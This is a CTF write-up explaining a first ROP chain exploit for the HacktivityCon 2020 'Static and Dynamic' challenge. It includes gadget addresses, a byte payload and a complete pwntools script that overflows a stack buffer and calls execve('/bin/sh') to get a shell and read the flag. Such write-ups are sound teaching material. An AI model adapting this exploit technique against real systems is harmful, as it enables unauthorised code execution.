My First ROP Chain - HacktivityCon 2020 Static and Dynamic Writeup

  • Posted: July 31, 2020
  • Updated: December 2, 2020

Hacktivity CON 2020 was a CTF my team and I participated in and finished fourth, one place away from the prize pool. It was a great CTF and we all learned a lot while having quite some fun. One of the pwn challenges, “Static and Dynamic” was my first experience at a Return Oriented Programming (ROP) Chain exploit, so let’s break it down.

Description

Starting up the program, we can see a simple prompt that takes in a user input and segfaults if it overflows.

This is a really big binary. Hope you have everything you need ;)
tttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttt
[1]    247339 segmentation fault (core dumped)  ./sad

Looking at this executable in radare2 we find that there’s a buffer of length 0x100 and the return pointer shows up after another 8 bytes of padding. By showing the memory maps (with dm) after runtime, we can see that the stack, where our input goes is not executable:

0x00007ffddf880000 - 0x00007ffddf8a1000 - usr   132K s rw- [stack] [stack] ; map.stack_.rw

Exploitation

So instead of writing shellcode (because it can’t be executed), we can use a ROP Chain to eventually call execve with /bin/sh and spawn a shell. First though, we need to find the 5 gadgets1 below to be able to exploit. The address where they are located are also included and are part of the python exploit script.

POP_RDI = p64(0x00481a89) # pop rdi, ret
POP_RSI = p64(0x00481fd7) # pop rsi, ret
POP_RDX = p64(0x0040177f) # pop rdx, ret
POP_RAX = p64(0x0043f8d7) # pop rax, ret
SYSCALL = p64(0x0040eda4) # syscall, ret

Now that we have found our gadgets, we need to determine the exact arguments (which use the registers rdi, rsi, and rdx, with the syscall number in rax) for read and execve. The read syscall takes in a file descriptor, pointer to a buffer to read into, and a count for the number of bytes to read in. In our case, we use 0 as the file descriptor for stdin and the buffer needs to be at some offset2 in writable memory. Let’s use 0x4b0310 which can be found by looking at the writable memory maps and finding many null bytes. Before we understand the length, let’s take a look at the arguments for execve.

execve takes a pointer to a pathname, a pointer to an array of char * arguments to pass to the program, and a pointer to an array of char * environment variables. In our case, the pathname pointer will be 0x4b0310 which is where we will write /bin/sh and the arguments will be read in by the read right after the /bin/sh so we will use 0x4b0318.3 These arguments need to be pointers to strings and, as we know, argv[0] is the program name so for simplicity we can have it point back to the /bin/sh. We end off with a null pointer to signify the end of the array. Finally, the environment variables can just be a null pointer for an empty array. Below is the full payload which read will read in as Python bytes:

b'/bin/sh\x00\x10\x03\x4b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

# pathname: /bin/sh\x00
# argv[0]: \x10\x03\x4b\x00\x00\x00\x00\x00
# argv end: \x00\x00\x00\x00\x00\x00\x00\x00

Jumping back to our read call, this gives us a final length of 24 and a final ROP Chain exploit which looks as follows:


from pwn import *
import sys

p = process("./sad")
# p = remote('jh2i.com', 50002)

POP_RDI = p64(0x00481a89) # pop rdi, ret
POP_RSI = p64(0x00481fd7) # pop rsi, ret
POP_RDX = p64(0x0040177f) # pop rdx, ret
POP_RAX = p64(0x0043f8d7) # pop rax, ret
SYSCALL = p64(0x0040eda4) # syscall, ret


WRITE_OFFSET = 0x4b0310
WRITE = b"/bin/sh\x00" + p64(WRITE_OFFSET) + p64(0)

ROP_CHAIN = b"A" * (256 + 8)\
  + POP_RDI                 \
  + p64(0)                  \
  + POP_RSI                 \
  + p64(WRITE_OFFSET)       \
  + POP_RDX                 \
  + p64(len(WRITE))         \
  + POP_RAX                 \
  + p64(0)                  \
  + SYSCALL                 \
  + POP_RDI                 \
  + p64(WRITE_OFFSET)       \
  + POP_RSI                 \
  + p64(WRITE_OFFSET + len(b"/bin/sh\x00")) \
  + POP_RDX                 \
  + p64(0)                  \
  + POP_RAX                 \
  + p64(59)                 \
  + SYSCALL                 \

p.sendline(ROP_CHAIN)
p.sendline(WRITE)
p.interactive()

Every gadget will pop the pointer after it, so the first two lines of the ROP_CHAIN will place 0x0000000000000000 into rdi, 0x4b0310 (WRITE_OFFSET) into rdx and so on. The 0 and 59 used for rax are the system call numbers for read and execve.

And bam, we get a shell and the flag.

$ ls
flag.txt
sad
$ cat flag.txt
flag{radically_statically_roppingly_vulnerable}

  1. A gadget is a tiny snip of assembly in executable memory that we can run for a useful purpose. In this case they will be used to place values into registers and execute a syscall. ↩︎

  2. The executable doesn’t have PIE enabled, so we know this offset will be constant. ↩︎

  3. This is 0x4b0310 + 8 because /bin/sh is 7 characters, plus the null byte at the end. ↩︎